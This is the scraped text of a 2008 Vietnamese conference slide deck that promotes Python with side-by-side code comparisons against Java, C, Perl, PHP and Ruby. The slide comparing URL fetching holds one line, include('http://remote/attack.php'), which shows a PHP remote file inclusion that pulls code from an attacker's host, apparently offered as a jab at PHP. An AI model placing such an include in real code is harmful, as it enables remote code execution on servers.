Upload
chip-huyen
View
5.778
Download
3
Embed Size (px)
DESCRIPTION
Presentation from Nam Nguyen Bluemoon at BarCampSaigon 1, comparing Python with other programming languages.
Citation preview
http://www.bluemoon.com.vn
Python, ngôn ngữ lập trình cho phần đời còn
lại
Nguyễn Thành Nam
http://www.vithon.org
TPHCM, 2008-11-15
Blue Moon Consulting Co., Ltd © 2008 – http://www.bluemoon.com.vn – [email protected]
Nội dung• Kinh nghiệm bản thân• Giới thiệu Python• Nguyên lý căn bản của Python• So sánh với ngôn ngữ khác• Giới thiệu Vithon• Hỏi và cùng trả lời
Blue Moon Consulting Co., Ltd © 2008 – http://www.bluemoon.com.vn – [email protected]
Kinh nghiệm bản thân• Biết đến Python từ 2003• Học trong 5 tiếng• Sử dụng hàng ngày cho đến tận bây giờ• Sáu từ để diễn đạt: Học 5 tiếng, dùng
suốt đời!• Gặp nhiều khó khăn trong việc soạn slide• Gần quên Java và C/C++• Đã quên sạch Perl, PHP và Ruby
Blue Moon Consulting Co., Ltd © 2008 – http://www.bluemoon.com.vn – [email protected]
Giới thiệu Python• Ra đời năm 1991• Tác giả Guido Van Rossum, Hà Lan• Là ngôn ngữ lập trình
• Tổng quát• Kịch bản (scripting)• Kiểu vịt (duck typing)• Kiểu động (dynamic typing)• Nhưng có kiểu (strongly typed)
• Kèm sẵn pin (Battery included)
Blue Moon Consulting Co., Ltd © 2008 – http://www.bluemoon.com.vn – [email protected]
Nguyên lý căn bản của Python• Ưu tiên cho việc đọc lại code
• Khoảng trắng bắt buộc• Hạn chế sử dụng ký tự đặc biệt• Chương trình phải được viết ra để cho
người đọc, và chỉ là sự trùng hợp để máy tính thực thi (Abelson & Sussman, MIT)
• Sự đơn giản được xem trọng• Đã có while, nên bỏ do-while• Đã có elif, nên bỏ switch-case
Blue Moon Consulting Co., Ltd © 2008 – http://www.bluemoon.com.vn – [email protected]
Nguyên lý căn bản của Python• Ngôn ngữ khác có hộp, Python có thẻ
Ngôn ngữ khác (biến)
Python (tên)
a = 1
a = 2
b = a
Blue Moon Consulting Co., Ltd © 2008 – http://www.bluemoon.com.vn – [email protected]
Nguyên lý căn bản của Python• Kiểu cơ bản: int, long, float, dãy
(sequence), từ điển (dictionary)• A = 123 # int• B = 123456789123456789 # long• C = 123.456 # float• D = (1, 2, 3) # tuple• E = [1, 2, 3] # list• F = “12345” # string• G = { 1 : ‘abc’, 2 : “def” } # dictionary
Blue Moon Consulting Co., Ltd © 2008 – http://www.bluemoon.com.vn – [email protected]
Nguyên lý căn bản của Python• Cấu trúc lặp và điều khiển
• if/elif/else• while• for
• Xử lý biệt lệ• try/except• try/finally• try/except/else• try/except/finally (Python 2.5+)
Blue Moon Consulting Co., Ltd © 2008 – http://www.bluemoon.com.vn – [email protected]
Nguyên lý căn bản của Python• Khai báo hàm bằng def• Khai báo lớp bằng class• Đa kế thừa (multiple inheritance)• Tất cả mọi đối tượng (gói, mô-đun, lớp,
hàm, biến, v.v…) đều chỉ là “tên” trong không gian tên (namespace) tương ứng
• Và chỉ đơn giản như thế thôi!
Blue Moon Consulting Co., Ltd © 2008 – http://www.bluemoon.com.vn – [email protected]
Perl
~!@#$%^&*()
Ruby
~!@#$%^&*()
Python
~%^&*()
So sánh với ngôn ngữ khácTính dễ đọc
Blue Moon Consulting Co., Ltd © 2008 – http://www.bluemoon.com.vn – [email protected]
C
int a, b, t;
t = a;
a = b;
b = t;
Python
a, b = b, a
a, b, c=b, c, a
So sánh với ngôn ngữ khácHoán vị 2 số
Blue Moon Consulting Co., Ltd © 2008 – http://www.bluemoon.com.vn – [email protected]
JavaBigInteger a, b, c;
a = new BigInteger(“12345678901234567890”);
b = new BigInteger(“12345678901234567890”);
c = a.multiply(b);
Pythona = 12345678901234567890
b = 12345678901234567890
c = a * b
So sánh với ngôn ngữ khácTính toán số lớn
Blue Moon Consulting Co., Ltd © 2008 – http://www.bluemoon.com.vn – [email protected]
JavaSystem.out.print(a[0]);
for (int i = 1; i < a.length; i++) {
System.out.print(“ “ + a[i]);
}
Pythonprint “ “.join(a)
So sánh với ngôn ngữ khácIn các phần tử trong mảng n > 1
Blue Moon Consulting Co., Ltd © 2008 – http://www.bluemoon.com.vn – [email protected]
JavaSystem.out.print(a[0]);
for (int i = 1; i < a.length - 1; i++) {System.out.print(“ “ + a[i]);
}System.out.print(“ va “ + a[a.length – 1]);
Pythonprint “ “.join(a[:-1]), “va”, a[-1]
So sánh với ngôn ngữ khácIn các phần tử trong mảng n > 1
Blue Moon Consulting Co., Ltd © 2008 – http://www.bluemoon.com.vn – [email protected]
Java// too many lines
// to show
// here
Pythonf = open(filename, “rb”)
d = f.read()
f.close()
So sánh với ngôn ngữ khácĐọc file
Blue Moon Consulting Co., Ltd © 2008 – http://www.bluemoon.com.vn – [email protected]
Perlopen(DATA, “filename”);
while ($line = <DATA>){
print $line;
}
close(DATA);
Pythonf = open(filename, “r”)
for line in f:
print line
f.close()
So sánh với ngôn ngữ khácĐọc từng dòng
Blue Moon Consulting Co., Ltd © 2008 – http://www.bluemoon.com.vn – [email protected]
Javafor (int i=0; i < a.length; i++) {
if (a[i] % 2 == 0)
b.add(a[i]);
}
Pythonb = [x for x in a if (x % 2) == 0]
So sánh với ngôn ngữ khácLọc phần tử trong mảng
Blue Moon Consulting Co., Ltd © 2008 – http://www.bluemoon.com.vn – [email protected]
PHP$file = fopen(“http://www.google.com”);
Pythonimport urllib2
r = urllib2.urlopen(“http://www.google.com”)
So sánh với ngôn ngữ khácLấy file từ URL
include(“http://remote/attack.php”);
Blue Moon Consulting Co., Ltd © 2008 – http://www.bluemoon.com.vn – [email protected]
PHPstrrev(“abc”);
Ruby“abc”.reverse
Python“abc”[::-1] # cba
So sánh với ngôn ngữ khácĐảo chuỗi
Blue Moon Consulting Co., Ltd © 2008 – http://www.bluemoon.com.vn – [email protected]
PHPgzdeflate(base64_decode(base64_encode(gzcompress(“abc”))))
Python“abc”.encode(“zlib”).encode(“base64”).decode(“base64”).decode(“zlib”)
So sánh với ngôn ngữ khácChuyển mã
Blue Moon Consulting Co., Ltd © 2008 – http://www.bluemoon.com.vn – [email protected]
PHPN/A
PythonVí dụ chương trình cờ tướng
sử dụng AJAX với tính năng trò chuyện viết trong 48 tiếng đồng hồ.
So sánh với ngôn ngữ khácỨng dụng web
Blue Moon Consulting Co., Ltd © 2008 – http://www.bluemoon.com.vn – [email protected]
Giới thiệu Vithon• Vietnamese Python• Python cho người Việt• Do người yêu thích Python• Cho người yêu thích Python• Tài liệu, diễn đàn, dự án, bài viết, bài dịch• Hãy cùng tham gia• http://www.vithon.org• Python là số một nha!
Blue Moon Consulting Co., Ltd © 2008 – http://www.bluemoon.com.vn – [email protected]
Cảm ơn
Life is short, use Python!
Python cho phần đời còn lại!
Nguyễn Thành Nam
Blue Moon Consulting Co., Ltd © 2008 – http://www.bluemoon.com.vn – [email protected]
Hỏi và cùng trả lời